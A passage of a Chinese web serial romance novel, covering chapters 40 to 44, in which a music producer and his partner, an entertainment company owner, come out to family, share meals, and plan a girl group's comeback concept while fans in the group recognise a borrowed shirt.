“纬弦的优势就在于有自己养的一批音乐人。现在这些人闹起来,要是不赶紧安抚,后续艺人回归都会拖下来。拖久了,资金可就转不过来了。”杨观也是看热闹的心情。 “这个情况的确很难解。公司让渡太大利益,音乐人如果不干实事,存心糊弄,回归多少次也不过是进一步赔钱。由其现在本来就闹得不愉快,很难再同心协力了。如果不让步,音乐人带着版权走了,对艺人来说也是巨大的打击。”许稚舒笑说,“怎么觉得不用我干什么,他自己就能把纬弦玩死?” 杨观无奈地摇摇头:“我也是高估他了。” 没再继续这个话题,两个人聊起了别的。乐子听一听挺好,杨家的事说多了他们都闹心。 一顿饭吃得很愉快,散席前,许稚舒让服务员打包一份菌菇面。今天他请客,打包一份不算占便宜。 “没吃饱?”杨观看许稚舒今晚吃得并不少。 许稚舒笑说:“带给路煌。” 杨观不禁露出惊诧的表情:“这么晚了还要去见面?” “哥,我和路煌在谈恋爱。”许稚舒终于把自己和路煌的关系告诉了杨观,或许用不了多久,就能如路煌的愿,带他见杨观了。 杨观觉得自己长这么大都没这么惊讶过,许稚舒和路煌?这是他想都不会想的方向。 “你……”杨观难得地说不出话了。不过他并不反感,也不反对,甚至觉得许稚舒身边多一个人是件好事。只是他怎么都没想到这个人会是路煌。 许稚舒笑说:“以后有机会带他跟你一起吃饭。至于我们的关系,说来话长。简单来说,就是谈了。复杂来说,是谈了好几年了。不过去年分手了,然后又和好了。” 杨观这下终于想通了为什么去年他觉得许稚舒的状态不好,但今年又好起来。再想到他手上那块表,就都说得通了。 “你可真能给我制造惊吓。”杨观很难干脆地说这是惊喜。 许稚舒笑得更明媚了:“你要给我保密。” “他家同意吗?”这是杨观现在担心的。 许稚舒摇摇头,不过笑意并没减:“我们心里有数。” 这个答案杨观一点都不意外,沉默了片刻之后,说:“我这边虽然比不上路家,但也是你的后盾。如果路家难为你,你一定要跟我说。” 哪怕不需要,杨观的话也让许稚舒觉得温暖:“我会的,你放心吧。” 杨观则陷入了新的头脑风暴,他得想办法把公司做大做强,才能真的成为许稚舒强有力的靠山——任重道远啊!—— 作者有话说:感谢支持!比心!《 》 40-50 第41章 许稚舒刚进门, 路煌就缠了上来,仿佛好长时间没见了一样。 “给你带了菌菇面回来,尝尝吗?”许稚舒拖着路煌这个人形挂件进了厨房, 把外带的袋子放到料理台上。 “等会儿吃。”路煌抱着他不撒手, “晚饭吃得好吗?” “还不错,那家餐厅主打云南菜, 还挺有特色的。”许稚舒说。 “下次我们两个去。”路煌一个人吃饭, 觉得实在没趣,确切地说,是许稚舒不在,他就觉得没意思。 “行,你先放开我,我要换衣服了。” 路煌不情不愿地放开他。许稚舒往衣帽间走, 路煌就跟在他身后。 “我跟大哥说了我们的事。” 许稚舒突出其来的一句,让路煌瞬间心花怒放。杨观是什么意见对他来说并不重要, 重要的是许稚舒对外给了他身份。 在真心喜欢的人那里需要一个被肯定的名份,就算他也不例外。不是需要外界的认同, 而是通过恋人给予的身份, 获得更多的属于恋人自身的认同。这在异性恋人中或许没那么重要,但对同性恋人来说很重要。 “你大哥怎么说的?”路煌跟进衣帽间。 许稚舒逗他说:“说如果你对我不好,让我赶紧跑路。” 路煌笑道:“他说的也没错。不过话说回来, 我是真不担心你恋爱脑, 你这人如果狠下心来,对别人狠,对自己也狠。” “所以啊,对我好点。”许稚舒套上家居服,两个人只是说着玩, 并不需要往心里去,也不用非得表个态度。他们能在一起,肯定是相信对方的人品的。而且这么多年恋爱下来,如果说还不能确定对方是不是真心对自己好的,就太扯了。 “怎么才算对你好?”路煌顺着他的话往下问。 许稚舒扣好最后一颗扣子,直接跳到了路煌背上。 路煌从容地接住他,背着他往厨房跑。许稚舒笑出声来,欢快的温馨蔓延进整个房子,这么大的人了,还像小朋友一样嬉闹,没有不合时宜,只有给予自己和对方正向情绪的初衷。 路煌把他放到料理台上坐着,自己则打开许稚舒给他外带的面,不需要去餐桌,两个人就这样说着话,路煌把面拌匀,先喂了一口给许稚舒。 许稚舒已经吃饱了,但跟路煌分享一口吃的还是可以的。 “这家店的面和饭用的是同一种配料和酱。我吃了饭,觉得不错。”许稚舒靠着旁边的瓷砖墙,看着路煌吃。 路煌晚饭没吃多少,现在加一餐正正好:“的确不错,面煮得软硬很合适。” 站着吃面的路煌依旧悠然自得。看他吃得满意,许稚舒就高兴。 “关于To ver的回归风格,你们不准备开会讨论一下吗?”许稚舒说起了正事。 “既然制作交给你了,讨论也没有什么意义。她们虽然出道已经有四年了,可一直是听公司安排。作为一个个性发展上不够成熟的团,让她们对回归的风格提出意见,恐怕没有太多参考性。这十个女孩子风格一直很统一,这是我最不看好她们的地方。如果让我提意见,我倒是更希望你能帮她们突出个性。”路煌的意见还是很有参考性的。 “这倒是个一个方向。”许稚舒认为这是个不错的突破口,“这次的造型团队也要花些心思,等我定好歌曲风格和基调,需要你们在造型上做好把控。” 造型也是能突出性格的方式之一。 路煌点头:“好。咱们之前合作过的造型师不少,如果你觉得有现成可用的,我直接联系就行。” “也好。”合作过的他们心里都有数,就不容易出错,“你还有什么想法?” 不开大会,两个人就得多讨论一些。 “别的都好说,骨折那个你准备怎么安排?”路煌问许稚舒的意思。 现在那位成员已经被安排到路家投资的疗养院疗养了,骨折最重要的还是养。能进这家疗养院,已经是特殊待遇了。 “我再想想,反正肯定是要出镜的。”许稚舒还是认为回归就要一个人都不能少,不能跳就唱,不能唱就在MV里露脸也行。后续宣传可以不用参加,但不能在制作中完全不露面。 “别有压力,慢慢来。”路煌夹了一片蘑菇喂他。 许稚舒点头:“急也没用,我懂的。” Breeze这次回归不需要他参与,至多就是到他的工作室来录音,他会帮着做后期混音。所以他有更多时间可以放在To ver的制作上,时间对他来说还算充裕。 “下午的时候我哥打电话来,问我们周日有没有空,他和大嫂想请我们吃饭。”路煌征求许稚舒的意见。 如果是情绪未定的时候,许稚舒应该会找理由推脱,但现在好像没有那个必要了。 “你不加班吗?”现在是许稚舒看路煌的时间,反正他不加班。 “暂时没有安排。”路煌没把话说得太满,娱乐圈这条路,这一分钟都不知道下一分钟会不会爆出一个天大的热搜,老板看似不用加班,却也是随时待命的状态。 “那就约吧。”许稚舒跳下料理台,硬邦邦的台面坐久了并不舒服。 “别紧张,只是吃顿饭。”路煌担心许稚舒会焦虑。 “知道。”许稚舒笑了笑,紧张肯定是谈不上的,只是不知道对方会聊什么,又觉得没什么好聊的,会稍微多想一些。 说来也挺有意思,当初他认为跟路煌没未来的时候,跟陈玉欣相处完全不会紧张,也不会担心有什么话说得不好,让陈玉欣对自己印象不好。但现在就不一样了,他不是想讨好路煊和陈玉欣,只是觉得看在路煌的面子上,也不能表现得太差。 果然,足够在意,就容易拘谨。 * 四个人约的午饭,依旧是在盛夏会馆。 因为许稚舒之前在会馆附近被拍到,会馆为表示歉意,说这一餐给他们打七折,再送一份龙虾粥。 能来这里吃饭的,都是不差钱的。会馆的这种“表示”从消费价格上来说不值一提,可态度拿出来了,就会让客人很受用,也愿意再次前来消费,这就是经营的智慧。 许稚舒开了一支上次选的酒,就算是路煊请客,他也不至于两手空空,吃完就走。 “上次在棕绵岛上见过,但并没有正经地一起吃顿饭,这算是第一次了。”路煊率先举杯,“虽然现在咱们都有一些困难,但也是回到了原本应该待的位置上,这样很好。我作为兄长,代表我和你们大嫂,恭喜你们重归于好。” “谢谢大哥,谢谢大嫂。”路煌的从容态度已经表明了他的立场。 四个人碰杯,今天不是劝酒局,也不是生意场,大家随意就好。 “最近工作还顺利吗?”陈玉欣笑着问许稚舒,并用公筷给他夹了菜。 “都挺好的,按部就班。”因为大部分工作都是提前安排好的,说按部就班也没有问题。 “看到路煌收了To ver,我看当时这个组合负面讨论那么多,着实是捏了把冷汗。”她并不觉得路煌会在工作上任性妄为,可当时的网络环境,连她都会被带着跑,何况是大众?她是希望路煌能够经营好初黎的,有了能拿出收益说话的公司,爷爷或许也会退让。 “不得不说,的确是个冒险的举动。”许稚舒微笑道,“路煌这么做看起来像是在为初黎挣名声,其实也是在为娱乐圈的人正名。没有做过不对的事,就应该受到公平的待遇。” 许稚舒突然把自己抬这么高,路煌没忍住笑了。他当时只想着得给许稚舒争面子,还真没那么伟大的想法。不过最后的确达到了很不错的效果,To ver的风评回来了,盖留也倒台了。以后这就是其他娱乐公司的例子。他不敢说这个圈子干干净净,但在盖留事件后,也等于是划出了一条底线,让娱乐公司明确干缺德事的下场。 “的确。我们这些太太圈里也有追星的,见着我都跨路煌呢。说他办事有章法,又仗义。”虽然这么说不确切,但陈玉欣的确有种自家孩子被夸了的骄傲感。 路煌可不想今天成为自己的夸夸会,赶紧换了话题:“家里公司都还顺理吗?” 路煊一边帮陈玉欣挑鱼刺一边说:“忙得不行。之前投资公司在你手里时,投了不少项目,现在这些项目都开始有收益了。你知道的,这种项项都营收的情况,肯定就有不少人想跟着投,或者来打探咱家下一步要怎么动,想要跟进,又或者希望被投,托关系跟咱爸见一面的。爸本来就忙,现在更是应酬不断。不过他并没有再投新项目,咱家向来不贪。” “都顺利就好。”路煌只是一问,了解了就不深究了。 “其实爸还是很关心你的,不时就会问我有没有跟你联系。”路煊现在还左右不了家里长辈的态度,但有好的方向还是要跟路煌说。 “嗯,今天见过了,爸知道我挺好,应该就放心了。”路煌的态度还是要么家里接受,要么什么都别谈。 “说的也是,看你们两个好好的,我也放心了。”路煊微笑说,“我和你们嫂子也想好了,孩子的事就顺其自然吧。爷爷那边不满,我们也没办法,总不能因为没有孩子就离婚,那也太荒唐了。以后家里往哪个方向走,到了时候自然会有规划,想得太长远没有必要。如今的经济形势也很难预测,今天风风光光的,谁知道明天后天会怎么样?” 陈玉欣笑道:“是啊。我从没想过会因为你们两个坚定地决定重新开始,反倒给了我勇气了。因为路家人对我都很好,没有孩子我会有愧疚,哪怕后来家里并没有给我压力。现在我倒觉得好好地生活,好好地照顾长辈,也是孝顺。世间哪有那么多完美的事呢?我能遇上路煊,已经是我这辈子最完美的事了,不能贪心,也不应该强求。过好我们两个人日子就行了。” 她的话让许稚舒觉得轻松不少。如果现在陈玉欣压力很大,哪怕他认为这不是自己应该有愧的事,也多少会受到对方情绪的影响。而现在,他获得的只有正向的能量。 “你们能这样想,就太好了。”路煌也觉得轻松,没谁欠谁的,在大家都想明白之后,好好生活,才对得起他们遇见的毕生所爱。 “你还不知道吧,年后不少家都出了问题。地产、医药等等,都有经营不善,随时可能倒台的,只不过是消息压着没报而已。”这些消息路煊知道的会比路煌早一些。 “怎么搞的?”这是路煌没想到的。从他有记忆起,一些家族就是固定在那个位置上了。 “其实也不意外,时代发展得快,行业有起伏是正常的。但老一辈如果跟不上时代,又固执己见,势必是要被新时代上一课的。而这些家族的下一代又承接不起家业,要么是纸醉金迷不学无术;要么是学得不精或者没有魄力,畏首畏尾把机会都错过了。还有些不能说是没本事,只能说家里内斗得厉害,权利分不到优秀的女性继承人身上,女性有能力却没有用武之地。”路煊是有些感慨的,“总之产业一旦出现裂隙,就会有无数新生代冒出来,把老牌企业接不住的机会拿走,连个试错的机会都不会留给老牌企业。” 这是商业的残酷,却也说明市场是有活力的,有弊有利。 “那些人没找爷爷帮忙?”当初赵家能找爷爷接手初黎,路煌想别家也不会坐以待毙吧? 路煊:“的确有两家来找爷爷,但爷爷并没出手。这种从根本上开始动摇的家族是救不了的,只不过是个借钱的无底洞。如今爷爷做决定也谨慎起来了,还说准备带奶奶出门旅行,免去往来打扰。” 路煌听乐了:“难得爷爷也知道躲了。” 大家族不是小企业,不是随便拉一把就能拽起来的。除非这个家族里有像路煊这样的继承人,还得家族和睦,没有内斗,否则就是砸一个无底洞。 “估计背地里骂爷爷无情的也不少。”路煊能想象到那些人的嘴脸,不是他小人之心,而是没有一个大家族会甘心倒下,可往往这些家族不会找内因,只会把自己的倒塌归于外界。 其实没有哪个行业是能永远兴旺的,一行出了问题,要能从其他行业找到东山再起的机会,才说明这个家族的人确实有能力,值得帮一把。而如果一行不行,整个家族就倒了、散了,那只能说他们崛起只是踩上了风口,本身没什么眼光和能力。 “反正爷爷听不见,就当没有吧。”路煌乐道。 许稚舒不插话,只是认真地听着,不仅不觉得无聊,还听得挺起劲儿,好像还涨了些说不清的见识,甚至有一个隐隐的念头在他脑子里一闪而过,直觉告诉他这是灵感,可太模糊了,他还没抓到重点—— 作者有话说:感谢支持!今天上夹子啦,咱们还是正常更新! 第42章 四个人这顿饭吃得很不错, 没有许稚舒预想的纠结的话题,也没有过于客气的每个人都心有愧疚,就是很自然的一次聚餐, 说说自己的想法, 也说说自己的困境,交换一下信息, 希望彼此都能按自己想要的方式生活, 仅此而已。 已经吃饱的许稚舒慢慢喝着普洱茶,红酒他只喝了个小半杯,路煌就不让他喝了。作为在座酒量最差的,他没必要逞强。但不得不说,能上盛夏会馆酒单的酒,味道都不错。 陈玉欣说:“我准备六月去看看千瑗, 正好参加她的毕业典礼。到时候她租住的房子也该退了,正好帮她整理行李。你们两个去不去?” 她知道路千瑗是支持路煌和许稚舒的, 从他们三个人吃过饭后,路千瑗就不掩饰自己的支持了。 作为家里最受宠的女孩, 路千瑗非常有自主意识。对爱情的态度追求得也是一个独立自主, 两位兄长的爱情正好符合她的观念,即家世、性别都往边靠,人好且真心相爱, 双方又都很有上进心, 才是最要紧的。 路煌无奈地摇头:“六月正是忙的时候,各大音乐节在春夏是最多的,还有一些行业会议要出席,估计走不开。” 陈玉欣表示理解,并说:“路煊和爸也去不了, 爷爷奶奶年纪大了,就算是坐私人飞机,长时间飞行也很累,就不让他们折腾了。妈应该会抽时间去,总不能一个长辈都不到场,就算千瑗不在乎,以后翻照片出来看,冷冷清清的也不好看。” “妈能空出时间应该挺不容易的。”路煌能想到母亲现在就开始赶工的场景,她的母亲一直是位独立女性,有自己的事业和热爱的事情。这使得她即便到了现在这个年纪,也依然神采奕奕,比同龄人看起来年轻不少。 “是啊,过完年就已经开始安排工作进度了。”路煊还是了解自己母亲的。说实在的,如果不是真的太忙,他作为大哥,是怎么都应该出席路千瑗的毕业典礼的。 “家里对千瑗什么安排?”路煌随意地问了一句,据他了解,路千瑗没有继续深造的打算了。 “暂时没安排。爷爷宠她,说都按她的意愿来,如果想进公司,就给她安排职位,如果想自己创业,爷爷会给她投钱。”路煊笑说。这钱走的肯定是爷爷自己的小金库,跟家里没关系。 路煌毫不意外,家里女孩少,疼她是应该的。 吃完饭,四个人也聊得差不多了,便散席各自叫了会馆的代驾送他们回家。反正都在一个城市,以后能聚的机会多得是。而且明天四个人都要上班,早点回家休息,才有精力应对新一周的到来。 分开前,陈玉欣送了他们一套碗盘,是她在国外带回来的。餐具是生活的象征,送他们这个,也是一种对两个人是一家人的认可,希望他们能长长久久,日子过得美满开心。 回到家,许稚舒换了衣服,就一头扎进了音乐室。 路煌知道他这是有灵感了,并不去打扰他。 等许稚舒叫他进音乐室时,天都黑了。 “来听听这段副歌怎么样?”许稚舒把录好的一段音频放给路煌听。 这是一段节奏感很强的歌曲,虽然还没有编曲,但通过许稚舒敲击琴键的节奏,能感觉到编曲上鼓的应用应该会非常突出。 “曲调很顺,听感上不错。这是写给To ver的?”路煌下意识地觉得这不是To ver的风格,但许稚舒最近的主要任务还就是To ver。 “对。”许稚舒知道他怎么想的,笑说,“我想到一种风格,或许可以试一试。” “什么风格?”路煌问。 “成长系。” 这不算是个陌生的词汇,但要看放在哪里。它能涵盖的方面实在是太多了。 许稚舒进一步解释:“之前她们和其他女团一样,基本都是在唱一些关于甜蜜爱情的歌。但今天吃饭的时候听你们聊天,我突然觉得如果让她们去走共同成长的路线,或许更符合当下的市场环境。你应该知道,现在很多歌手的歌也不在拘泥于爱情了,有些歌听着像情歌,但歌词已经不是单一指向了,能解读的空间很大。我觉得To ver可以做这种路线,陪伴同年龄层的女孩一起成长,让女孩子们能大胆地面对这个世界没有那么美好的一面,撑起自己的人生。” “有点意思。”路煌在音乐创作上并不擅长,但音乐做得好不好,主题够不够顶,他是很有敏感度的。 “你也觉得可行吧?”他有灵感,但最终还需要路煌帮他一起判断。毕竟这不是创建新团,而是女团转型,是他们都没涉及过的领域,转型失败从此一蹶不振的案例比比皆是,许稚舒不能独断专行。 “的确,她们已经出道四年了,就年岁上来说,的确可以往前走一步了。”路煌并不大认同“什么年纪做什么事”的观点,可也不得不承认,有些事就是到了一定年纪做才不违和。 “那我先把曲写了,改天去见见To ver的成员,与她聊聊,再看词上要怎么写。如果聊得不合适,这首歌我也可以卖给别人,再写新的。”许稚舒左右都是有出路的。 To ver的新风格是不需要跟她们讨论的,但定下风格,倾听女孩子们的想法,丰富歌词的创作,是有必要的。人赚不到自己认知以外的钱,同样的,歌手也唱不好自己理解不了的歌词,无法与歌词有共鸣的情况下只是唱歌,却没有唱商,歌曲也就不会显得高级。 所以最后这个方案能不能用,现在还不能确定。 “好,需要我帮你约时间吗?”路煌问。 “不用,我自己约就行。”团队和总策划那边的联系方式他有,不需要路煌出面。 起身伸了个懒腰,许稚舒笑说:“忙着工作,感觉这半年运动量都少了。” 路煌手贴上许稚舒的腰侧,感受着那纤细的腰线:“还是很紧致。” 许稚舒用手指戳了戳路煌的肚子:“你也不错,腹肌还在。” 路煌笑说:“要是只有一块腹肌,该被你嫌弃了。” 许稚舒不否认自己非常喜欢路煌漂亮的腹部线条:“对你有点要求,才能督促你进步。” “说的对。”路煌从不觉得许稚舒对他有要求是件让他有压力或者觉得麻烦的事。许稚舒有要求,是因为在意他,喜欢他,如果他只是个路人,许稚舒可能连个眼神都不会给他。 看了一眼窗外黑透的天,明亮的室内灯光看不清窗外的模样,但能想象到灯光盏盏和点点繁星,是许稚舒最熟悉的风景,又好像每天都有不同。就像他和路煌,每天见,依旧有新鲜感。 “大嫂送的碗很适合做面碗用,我已经洗了。晚上煮个面吃怎么样?”路煌提议。中午吃得饱,现在还不怎么饿,但不吃东西恐怕晚一点就饿了。 “好,你想吃什么面?”许稚舒说着就准备去厨房了。 路煌拉住他:“我来煮,方便面就行,加些蔬菜。” 这种简单的食物,路煌会试着去做,多半是出不了差错的,都是现成的调味,他还不会自信到自己再乱加调味品。 “好。”许稚舒握住路煌从他腰上放下来的手,“千瑗的毕业典礼你真的不考虑去?” 路煌无奈道:“工作真挺多的,她毕业典礼的时间又没确定,临时安排太费事了。” “如果不做点什么,总显得不够上心。”许稚舒也清楚,现在开始他们正是忙的时候。 路煌反握住他的手:“你这性格一点都没变,别人对你好,你就想加倍对别人好。她又不是小孩儿,不会计较这个。等她回国了,以后能一起制造美好记忆的时间还有很多。再说了,你不是给她寄长清的签名照了吗?那就算是她的毕业礼物了。” 他太知道许稚舒的想法了,因为稀缺,所以珍惜。这样的许稚舒总让他心疼,希望能再多给许稚舒一些爱,弥补那些不足够。 许稚舒笑着点头:“也行吧。” “不用那么处处细心,我还是喜欢看你什么都不在乎的样子。”路煌看着他,他们有太多回忆了,当许稚舒所有的样子最终汇聚回眼前这个人,路煌能清晰地感觉到心动。 “难了。”许稚舒慢慢眨了眨眼睛。 “怎么?” 许稚舒笑说:“至少很在乎你了。” 路煌心暖得不行,俯身就要亲他。 许稚舒非常破坏气氛地捂住他的嘴:“去煮面,我再酝酿一下主歌,别打断我的思绪。” 他很清楚,现在如果缠在一起,晚饭就不用吃了。有的时候欲擒故纵也是一种在意对方的表达,因为想要被在意,所以会耍点无伤大雅的小手段。 路煌不想,却又不能拒绝地去了厨房。等水开煮面期间,他甚至拿出了手机,想外卖点些用品回来,但最后还是打消了这个念头。 他希望能有一个完全放松的假期,和许稚舒尽情地享受交融的时刻。而不是还要惦记着明天得上班,谁都不尽兴—— 作者有话说:感谢支持! 第43章 入春后, 气温很不稳定,导致厚衣服和薄衣服都得挂在外面,方便根据气温调整。这就使得许稚舒原本就不富裕的衣帽间空间更是雪上加霜, 自己和路煌的衣服混在一起, 挤得满满当当,两个人又没空收拾, 只能将就把门关上就算不错了。 这也让两个人的衣服经常混穿, 虽然差一点码数,但也没有多大影响,尤其像衬衫、T恤这种,宽松或者紧身都有各的特点。 今天许稚舒穿的就是路煌的衬衫,因为要见To ver的成员,许稚舒穿得稍微正式了些。 许稚舒是自己开车去的初黎娱乐, 路煌上午有个娱乐发展向的会议,中午才会回公司。 “许老师, 大家已经到了,在三号会议室。”To ver的新经纪人出来迎的许稚舒。 “好, 井雨来了吗?”许稚舒问。井雨就是之前交通事中故骨折的女孩。 “没让她过来, 我想着她来回折腾不方便,疗养院离这边又远,就自作主张, 没去接她。”经纪人没想到许稚舒会提到井雨, 她不是不重视这些女孩,而是认为许稚舒人多事忙,恐怕连这些女孩的名字都记不全,少一个人也没事。况且井雨的确需要修养。 许稚舒没提出异议,只说:“那方便与她视频通话吗?” 经纪人立刻道:“可以的, 我这就联系她。” 许稚舒没计较,她就放心了。当时她接到通知,的确是让她把所有成员都带到公司。 Breeze出道后,公司清了一批混吃摸鱼的,因为有理有据,谁也说不出什么来。现在剩下的谁都不敢怠慢工作,也明白公司是什么情势,能做到的他们绝不找理由推诿。 进入会议室,九位成员立刻站起身问好。无论作为她们新曲的制作人,还是作为她们的大前辈,许稚舒都是有资格先接受她们主动打招呼的。 “你们好,坐吧。”许稚舒不是拿架子的人,女孩们一个个都很有礼貌,他当然也会展现绅士的一面,“稍等,我请你们的经纪人连线井雨,开会还在大家都在比较正式。” 女孩们很高兴井雨也能参加会议,这说明许稚舒对她们每个人成员都很重视。 很快,经纪人那边就联络上了,并开了视频通话,把手机放到了会议桌上。 井雨气色还可以,长时间躺在床上不能动,从精神到身体都是折磨。可因为顺理离开了盖留,跟着团签到了些公司,对未来有了希望,所以精神并不萎靡。井雨跟许稚舒及成员们打过招呼后,会议正式开始。 许稚舒:“今天请你们过来,是想和你们讨论关于女性面对这个世界,应该如何成长,又该如何撑起自己的人生这一话题。” 女孩们不解地看着他,似乎不明白怎么变成讨论会了,还是这样一个比较宏观的议题。 许稚舒没有提前跟她们说这个议题,要的就是她们最迅速、最真实的反应和想法,而不是做了大段的功课后,讲的都是那些被网上润色过的东西。 他态度随和,女孩们也不拘谨,由多萝带头,开始说她们的想法。 让许稚舒意外的是,这些女孩虽然一直很听公司的话,但在独立看世界这个议题上,却很有想法。 她们因为喜欢偶像这个职业,所以从十几岁开始就成为了练习生,通过层层筛选,看着朋友落选离开,看着好友成为自己的竞争对手,看着无数人怀抱梦想而来,在拼尽全力后,依旧被淘汰出局。她们见识到的现实的残酷,远比旁人预想的要多得多。 所以她们珍惜机会,珍惜现有的一切。为自己努力的同时,也希望能把“通过努力实现自己想要的生活”这样的理念传递给有需要的人。即时努力未必就一定能达到想要的高度,可哪怕失败了,克服失败带来的痛苦,同样是一种成长。没有人会永远成功,所以消解失败后的失望,就成了非常重要的人生课题。 随着大家七嘴八舌地说着,没有什么章法,但发言都很积极,许稚舒也获得了更多的灵感,他甚至觉得自己可能承包To ver的一整张nimi专辑,通过各个角度讲述属于这个年纪的女性的勇气和上心的决心。 聊了两个小时,许稚舒对成果非常满意:“我已经了解大家的想法了,希望你们能保持声乐和舞蹈的训练,我争取半个月内拿出你们的回归曲。” 女孩们开心地相互击掌欢呼,满脸都是期待。她们进初黎后,待遇给的很不错,新的团队对她们也很用心,沟通及时,配的助理也很勤快。只是迟迟没有回归的确切消息,让她们不禁心焦。现在看到了曙光,怎么可能不开心? 她们的经纪人也很高兴,孩子们有活动,她们这些员工到了年底也能拿到不错的分红。 说完正事,与井雨的连线就挂断了。女孩们还没有要离开的意思,许稚舒也不着急,就跟她们闲聊。 “你们接下来什么安排?”许稚舒问。 “在公司吃饭,下午有声乐课。” 许稚舒对这个安排很满意。 还没等他再说什么,就有成员问:“许老师,你身上这件衬衫很眼熟,我怎么记得二少穿过同款?” 她这话一出,其他女孩立刻露出佩服的目光,似乎她们都发现了,只是没人敢问。 许稚舒一愣,下意识地问:“你们怎么知道他穿过?” 他最开始想的是可能路煌穿过这件衣服上班,被女孩们遇上了。可仔细一想,路煌近期并穿过这件衣服上班,上次穿是去参加一个晚宴。 女孩们笑得神秘又克制,多萝实在没住,答:“许老师,我们都是Infinite的粉丝,而且她们几个是二少的粉。” 许稚舒恍然又诧异,一时竟然不知道该说什么。 “嘿嘿,我记得有一次签售会,二少穿得就是这件,当时还配了一个鹿头的胸针,特别好看。” 许稚舒服气了,粉丝的眼睛就是尺,还过目不忘。 路煌的衣服并不是穿一次就不穿了,尤其是品质好的,他甚至会穿好多年。是他大意了,没想到这都能遇上粉丝,还被认出来了。 “所以,许老师,这件衣服是二少的吗?还是你们两个有同款?” “许老师,你知道CP粉想听什么答案吧?” “许老师,是我想的那样吗?!” 得,居然还有CP粉?!! 许稚舒刚想应付只是同款,路煌就敲门进来了。 女孩和经纪人见到是他,立刻收起了笑闹的表情,老板无论在什么时候,都是很难让员工放松下来的存在。再平易近人的老板,跟员工之间也有壁,何况路煌并不是平易近人的性格。 “忙完了?”路煌这话显然是问许稚舒的。 “嗯,你会议结束挺早的。”许稚舒很自然地回了他的话,他自己甚至都没意识到这种自然似乎超出了朋友的范围,除非这个朋友是天天见面的。 路煌看到他就止不住地嘴角上扬:“特地赶回来的,今天公司伙食不错,带你尝尝。” 路煌还真就是为了跟许稚舒一起吃午饭,才赶着回来的。之前许稚舒来公司,都没在食堂吃过饭。 “娱乐公司的食堂能有什么好吃的,你以为我没经验吗?”话是这么说着,但许稚舒还是收拾起了自己的东西。 “不骗你,今天的你肯定喜欢。”路煌说完,才把目光转到在场的其他人身上,“开完会了就散了吧。” 几个女孩根本没动,眼睛全盯在他们两个身上。 许稚舒一看就知道路煌根本摸不清状况,赶紧拿上自己的包,准备跑路。 路煌下意识地想去拉许稚舒的手,又意识到许稚舒是来工作的,工作场合还是要保持克制,可手已经伸出去了,突兀地收回来更奇怪,于是他就抓上了许稚舒的手腕。 “哇哦~” “啊啊啊啊——” 女孩们没克制住,发了小而清晰的欢呼声。 路煌下意识地转头,这才意识到了什么。 倒是许稚舒坦然地一笑,回头对女孩们做了个“嘘”的手势,就跟着路煌出了会议室。 “她们什么情况?”路煌怕自己想得不对,先问了许稚舒。 “CP粉。”许稚舒耸耸肩,“Infinite的人气还在持续发力。” 路煌骤然失笑:“突然觉得自己签了些祖宗回来。” 许稚舒笑出了声:“不至于。不过回去咱们真得把衣服整理一下了,这件衣服被她们认出来了。” 路煌也是一脸服气的表情,他原本还挺享受许稚舒穿他衣服的样子的,还想着忽悠许稚舒多穿几件。现在看来,还是收敛些更保险—— 作者有话说:感谢支持!感谢大家的营养液和各种雷! 第44章 两个人没在食堂吃饭, 而是打了饭带回了路煌的办公室,这样员工和艺人在食堂吃饭都不会拘谨,在怎么协调老板与员工关系这件事上, 路煌心里有数。 今天食堂的主菜是咖喱饭, 配物有各种炸物、水煮西蓝花和蔬菜沙拉。后两肯定是为艺人们准备的,至于员工, 就随意了。 转到幕后最大的改变就是饮食不用控制得那么严格了, 许稚舒也是破天荒地把所有品类的炸物都夹了一遍。路煌打眼一看就知道他不可能吃得完,所以他的碗里只有西蓝花,炸物吃许稚舒的就行。 “虽然是第一次在初黎的食堂吃饭,可一下就把我拉回还在团的时候了。”许稚舒感慨的同时,炸虾吃得很欢。 路煌笑道:“当时论控制饮食,你还算轻松的。” 没有活动的时候, 公司和经纪人对他们没什么要求,可进入活动期, 就得控制了,至少也得是维持。 路煌和单长清喜欢运动, 对两个人来说, 多一吃点也不过是多泡几个小时健身房,可以接受;许稚舒几乎是吃不胖的,饮食上没有克制得那么严重, 但克服水肿也是艺人的必修课, 所以清淡饮食时间长了也会成为难关;贺漾和纪西卓可就痛苦了,两个人既不喜欢运动,又不是不易胖的体质,加上纪西卓在团初期还要过生长发育关,简直是每个控制期都能听到两个人的哀嚎, 不知道的还以为公司是多不做人,虐待他们了。 “话是这么说,但心理上总会有压力。哪怕之前不怎么喜欢吃的东西,一旦放到控制期,也会感觉吃起来应该还不错。”许稚舒笑说。 人就是这样,越是不让越是叛逆。 “那现在就多吃一点,弥补一下当初的不满。”路煌觉得许稚舒很有趣,总是表面看不出来,实际心里会想很多。待到往后的某个时间节点,才会把不满全盘托出。不知道的会以为他很坚强,很有毅力,知道的人才清楚许稚舒只是需要一个发泄的契机。 “现在说这样的话很不地道,也很讨嫌,但不得不说,想到食堂里那些艺人们只能吃杂粮饭配西蓝花,我就有种自己熬出头了的感觉。”许稚舒不厚道地笑说。 “让别人听到你的话,会说你崩人设了吧?”路煌又给他夹了只虾,想着下次如果许稚舒再赶上公司的午饭,就让食堂做些炸物,弥补一下许稚舒的情结。 “所以只能跟你说。”他从没后悔离开舞台,也许会有不适应,但自由感是无法替代的。而他也没有放弃自己的热爱,怎么看都是很好的选择。 路煌又问起他跟To ver成员聊得如何。许稚舒事无巨细地跟他说了,并表示新风格可以定了,只是井雨要怎么安排还需要讨论。 既然几个女孩的想法能得到许稚舒的肯定,路煌这边就没有可顾虑的,说:“歌曲风格定了,我这边就安排团队找造型设计了。” “可以,我争取下周把初版歌曲做出来。”有灵感的时候,许稚舒写歌会非常快,耗时的只是后续的细节调整。 许稚舒的效率路煌是知道的,说等歌曲成形后,会召开会议把要的风格告知团队,正式开始找造型师。 说完正事,路煌问他:“下午回工作室吗?” 许稚舒点头:“晚上不用去接我,我自己开车回去。” “你确定我不接你,你会按时下班?”加班不是许稚舒的常态,可如果灵感爆棚,就不能保证了。 许稚舒笑说:“你下班的时候给我打电话,我也出发,总行了吧?” 路煌满意了。工作是工作,下班还是要准时的。他们现在可是两个人生活,工作之外的时间好好度过二人世界,也同样重要。工作需要的是效率,而不是拉长时间。 吃完午饭,许稚舒正准备收拾桌子,手机就响了。 看到“单长清”的名字,许稚舒对路煌晃了晃手机,笑说:“难得大忙人联系我了。” 路煌笑说:“我没跟他说咱们重新在一起的事。先不告诉他们。” 团解散后,路煌和单长清的联系变少了,可这并不影响什么。都知道单干不容易,看贺漾和纪西卓都没轻松到哪儿去,路煌也能理解单长清的忙碌。 